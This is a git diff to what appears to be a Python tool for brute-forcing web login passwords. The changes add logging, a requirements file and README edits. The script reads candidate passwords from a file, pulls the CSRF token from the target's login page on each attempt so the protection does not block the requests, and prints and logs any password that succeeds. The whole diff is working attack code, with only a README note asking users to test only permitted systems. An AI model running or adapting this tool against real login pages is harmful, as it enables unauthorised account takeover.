diff --git a/README.md b/README.md index 4c76de4..029fba1 100644 --- a/README.md +++ b/README.md @@ -6,8 +6,7 @@ Use the package manager [pip](https://pip.pypa.io/en/stable/) to install requests. ```bash -pip install requests -pip install beautifulsoup4 +pip install -r requirements.txt ``` ## Run @@ -40,6 +39,15 @@ CSRF tokens protect websites from automated attacks by requiring unique, unpredi This technique works by mimicking legitimate browser behavior rather than truly "bypassing" the protection. Remember to only use these methods on systems you own or have permission to test. +## Logging + +The script uses logging to track its progress and any errors that occur. The logs are saved in the `logs` directory. +```bash +logs/ +├── error.log +└── security.log +``` + ## Contributing Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change. diff --git a/bruteforce.py b/bruteforce.py index b0d6a71..25a90d5 100644 --- a/bruteforce.py +++ b/bruteforce.py @@ -19,14 +19,33 @@ """) - import threading import requests import time import sys import re +import logging from bs4 import BeautifulSoup +# Logging setup +info_handler = logging.FileHandler("logs/security.log", encoding='utf-8') +info_handler.setLevel(logging.INFO) +info_handler.setFormatter(logging.Formatter( + '[%(levelname)s] %(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S' +)) +# Error logging +error_handler = logging.FileHandler("logs/error.log", encoding='utf-8') +error_handler.setLevel(logging.ERROR) +error_handler.setFormatter(logging.Formatter( + '[%(levelname)s] %(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S' +)) +# Add handlers to logging +logging.getLogger().handlers = [] +logging.getLogger().addHandler(info_handler) +logging.getLogger().addHandler(error_handler) +logging.getLogger().setLevel(logging.INFO) + + class BruteForceCracker: def __init__(self, url, username, error_message): self.url = url @@ -48,22 +67,27 @@ def get_csrf_token(self): # Look for common CSRF token field names csrf_field = soup.find('input', attrs={'name': re.compile(r'csrf|CSRF|token|_token', re.I)}) if csrf_field and csrf_field.has_attr('value'): + logging.info(f"Found CSRF token: {csrf_field['name']}={csrf_field['value'][:10]}...") return csrf_field['name'], csrf_field['value'] # Alternative method: look for meta tags meta_token = soup.find('meta', attrs={'name': re.compile(r'csrf|CSRF|token', re.I)}) if meta_token and meta_token.has_attr('content'): + logging.info(f"Found CSRF token: {meta_token['name']}={meta_token['content'][:10]}...") return meta_token['name'], meta_token['content'] # Last resort: try to find it in the HTML with regex match = re.search(r'name=["\'](_csrf|csrf_token|CSRF|token)["\'] value=["\'](.*?)["\']', response.text) if match: + logging.info(f"Found CSRF token: {match.group(1)}={match.group(2)[:10]}...") return match.group(1), match.group(2) print("Could not find CSRF token. The site might use a different method.") + logging.info("Could not find CSRF token. The site might use a different method.") return None, None except Exception as e: print(f"Error getting CSRF token: {e}") + logging.error(f"Error getting CSRF token: {e}") return None, None def crack(self, password): @@ -77,17 +101,20 @@ def crack(self, password): if token_name and token_value: data_dict[token_name] = token_value print(f"Using CSRF token: {token_name}={token_value[:10]}...") + logging.info(f"Using CSRF token: {token_name}={token_value[:10]}...") # Make the login attempt response = self.session.post(self.url, data=data_dict) # Check if login was successful if self.error_message in str(response.content): + logging.info(f"Login failed with password: {password}") return False else: print("\n[+] Success!") print("Username: ---> " + self.username) print("Password: ---> " + password) + logging.info(f"Login successful with password: {password}") return True def crack_passwords(passwords, cracker): @@ -96,7 +123,9 @@ def crack_passwords(passwords, cracker): count += 1 password = password.strip() print(f"Trying Password: {count} Time For => {password}") + logging.info(f"Trying Password: {count} Time For => {password}") if cracker.crack(password): + logging.info(f"Login successful with password: {password}") return def main(): @@ -105,14 +134,18 @@ def main(): error = input("Enter Wrong Password Error Message: ") print("\n[*] Checking if site uses CSRF protection...") + logging.info("[*] Checking if site uses CSRF protection...") cracker = BruteForceCracker(url, username, error) token_name, token_value = cracker.get_csrf_token() if token_name and token_value: print(f"[+] CSRF token found: {token_name}") + logging.info(f"[+] CSRF token found: {token_name}") print("[*] Will attempt to bypass by extracting and including token with each request\n") + logging.info("[*] Will attempt to bypass by extracting and including token with each request\n") else: print("[-] No CSRF token found or using a different protection method\n") + logging.info("[-] No CSRF token found or using a different protection method\n") with open("passwords.txt", "r") as f: chunk_size = 1000 diff --git a/logs/error.log b/logs/error.log new file mode 100644 index 0000000..e69de29 diff --git a/logs/security.log b/logs/security.log new file mode 100644 index 0000000..f59ec20 --- /dev/null +++ b/logs/security.log @@ -0,0 +1 @@ +* \ No newline at end of file diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..e9a9de3 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,2 @@ +requests +bs4 \ No newline at end of file